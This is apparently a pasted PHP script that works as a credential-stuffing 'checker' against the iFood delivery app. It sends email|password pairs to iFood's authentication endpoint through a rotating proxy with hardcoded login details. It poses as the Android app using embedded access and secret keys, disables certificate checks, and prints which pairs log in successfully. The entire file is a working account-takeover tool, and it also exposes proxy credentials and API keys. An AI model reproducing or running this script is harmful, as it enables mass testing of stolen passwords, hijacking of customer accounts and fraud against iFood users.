· 5 years ago · Dec 02, 2019, 01:57 AM
1<?php
2error_reporting(0);
3set_time_limit(0);
4$lista = $_GET['lista'];
5$explode = explode('|',$lista);
6$email = $explode[0];
7$senha = $explode[1];
8
9if (file_exists(getcwd().('/cookie.txt'))) {
10 @unlink('cookie.txt');
11}
12///////////////////////////////////////////////////////// FUNCTIONS //////////////////////////////////////////////////////////////////////
13function extrair($string,$start,$end){
14 $str = explode($start,$string);
15 $str = explode($end,$str[1]);
16 return $str[0];
17}
18$username = 'spa8406f60';
19$password = '159753';
20$proxy = 'br.smartproxy.com:10000';
21////////////////////////////////////////////////////// FUNÇÃO DO CURL /////////////////////////////////////////////////////////////////////
22function curl($url, $post = false, $header = array(), $location, $proxy = false, $cookie = false, $method = false, $encoding = false) {
23 $username = 'spa8406f60';
24 $password = '159753';
25 $proxy = 'br.smartproxy.com:10000';
26 $curl = curl_init();
27 if ($post) {
28 curl_setopt($curl, CURLOPT_POST, 1);
29 curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
30 }
31 if($location){
32 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, $location);
33 }
34 curl_setopt($curl, CURLOPT_COOKIESESSION, false);
35 curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
36 curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
37 curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
38 curl_setopt($curl, CURLOPT_URL, $url);
39 curl_setopt($curl, CURLOPT_PROXY, $proxy);
40 curl_setopt($curl, CURLOPT_PROXYUSERPWD, "$username:$password");
41 curl_setopt($curl, CURLOPT_HEADER, 1);
42 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
43 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
44 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
45 $result = curl_exec($curl);
46 curl_close($curl);
47 return $result;
48}
49
50///////////////////////////////////////////////////////////// FIM DAS FUNÇÕES /////////////////////////////////////////////////////////////
51
52$d0 = curl('https://wsloja.ifood.com.br/ifood-ws-v3/app/config', "", array(
53'Accept-Language: pt_BR',
54'browser: OnePlus A5010',
55'medium: M',
56'platform: Android',
57'device_id: ',
58'app_name: iFood',
59'app_package_name: br.com.brainweb.ifood',
60'app_build: 113',
61'app_version: 5.5.7',
62'os_name: Android 5.1.1 : LOLLIPOP_MR1 : sdk=22',
63'os_version: 5.1.1',
64'latitude: ',
65'longitude: ',
66'access_key: 34e895b3-3906-49fb-b2a6-aa328085d431',
67'secret_key: 1ed64193-834c-4edc-9d11-a4cc86b2962a',
68'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; A5010 Build/LMY48Z)',
69'Host: wsloja.ifood.com.br',
70'Connection: Keep-Alive'), $location = true);
71
72$token = extrair($d0,'set-cookie: session_token=',';');
73$post = 'email='.rawurlencode($email).'&externalToken=1415377231427562&type=LOGIN&password='.rawurlencode($senha).'';
74
75$d1 = curl('https://wsloja.ifood.com.br/ifood-ws-v3/customer/authenticate', "$post", array(
76'Accept-Language: pt_BR',
77'browser: OnePlus A5010',
78'medium: M',
79'platform: Android',
80'device_id: ',
81'app_name: iFood',
82'app_package_name: br.com.brainweb.ifood',
83'app_build: 113',
84'app_version: 5.5.7',
85'os_name: Android 5.1.1 : LOLLIPOP_MR1 : sdk=22',
86'os_version: 5.1.1',
87'latitude: ',
88'longitude: ',
89'session_token: '.$token.'',
90'Accept-Charset: UTF-8',
91'Content-Type: application/x-www-form-urlencoded;charset=UTF-8',
92'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; A5010 Build/LMY48Z)',
93'Host: wsloja.ifood.com.br',
94'Connection: Keep-Alive',
95'Content-Length: '.strlen($post).''), $location = true);
96if(strpos($d1,'loginToken')!==false){
97echo "<tr><td><span class='badge badge-success'>✅ Aprovada ➜</span></td> <td>$email</td><td>$senha</td><td><span class='badge badge-success'>Retorno: Logado com sucesso!</span></td><td><span class='badge badge-dark'>#ᴍᴀʀɪᴊᴀɴᴇᴄʜᴋ</span></td>";
98} else if(strpos($d1,'Access Denied')!==false) {
99 echo '<tr><td><span class="badge badge-danger">#Reprovada</span></td> <td>'.$email.'</td> <td>'.$senha.'</td> <td>Proxy Reprovada!</td><td><span class="badge badge-dark">#ᴍᴀʀɪᴊᴀɴᴇᴄʜᴋ</span></td></tr>';
100}else {
101 $msg = extrair($d1,'"message":"','"');
102 echo '<tr><td><span class="badge badge-danger">#Reprovada</span></td> <td>'.$email.'</td> <td>'.$senha.'</td> <td>'.$msg.'!</td><td><span class="badge badge-dark">#ᴍᴀʀɪᴊᴀɴᴇᴄʜᴋ</span></td></tr>';
103}
104
105?>